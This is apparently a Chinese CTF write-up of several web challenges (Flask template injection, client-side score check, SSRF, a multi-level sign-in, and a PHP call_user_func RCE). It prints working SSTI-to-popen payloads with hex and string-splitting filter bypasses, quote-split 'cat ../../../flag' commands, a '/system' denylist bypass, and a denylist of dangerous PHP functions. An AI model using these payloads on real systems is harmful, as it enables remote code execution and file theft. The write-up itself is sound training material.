ezflask

根据题目名字我们可以知道这是flask模板注入。

直接尝试{{1*2}},发现返回值确实是2,则可以确认。

然后我们就直接利用{{().__class__}}获取子类,发现.给过滤了,我们换成{{()['__class__']}},发现可行。

{{()['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('whoami')['read']()}}

发现popen被过滤了可以改为

{{()['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']["po""pen"]('whoami')['read']()}}

绕过,后来发现..以及flag,cat都被过滤了。直接16进制编码绕过

1
{{()['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']["po""pen"]('\x63\x61\x74 \x2e\x2e/\x66\x6c\x61\x67')['read']()}}

flag{d688fabc-8243-4d02-95b0-0604f2d39eb0}

ezjs

只有前端验证

控制台直接执行

1
2
3
4
5
6
7
fetch('getflag.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'score=100000000000'
})
.then(r => r.text())
.then(flag => alert("Flag: " + flag));

flag:flag{1ea31017-2650-4778-9b69-7416ba38cf5b}

ezssrf

源码要求我们的host为空且只能是http协议,那就

1
http:/127.0.0.1/flag

http:/127.0.0.1/flag会被curl_init()修正为http:/127.0.0.1/flag

得到flag在FFFFF11111AAAAAggggg.php

访问得到

flag{d0b17239-df29-4217-9182-2ad29cc604b1}

签到

第一关

按提示url输入a=welcome,提交new,cookie里的star值改为admin,得到/l23evel4.php

第二关

直接password=2025q,得到/levelThree.php

第三关

看到代码里有/xixi.txt,直接访问得到/level444Four.php

第四关

用bp改HEAD方法,user-agent改identity=n1c3得到/level4545Five.php

第五关

把代码给ai,得到密钥**W3lC0E_CtF**,得到/zzpufinish.ph

第六关

说会过滤,我们先用ls,目录遍历发现flag在前三层,然后用cat ../../../flag,但是cat 和flag都被过滤了,直接**”ca””t” ../../../“fl””ag”**绕过得到

flag{97bf5104-28ce-485a-93b7-592ff95a452b}

ezrce

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);

$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);

if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>

num=1235

我们主要关注call_user_func($b, $star);

有两种解法:

方法1:

new=readgzfile;star=/flag。

方法2

new=/system;star=cat ../../../flag。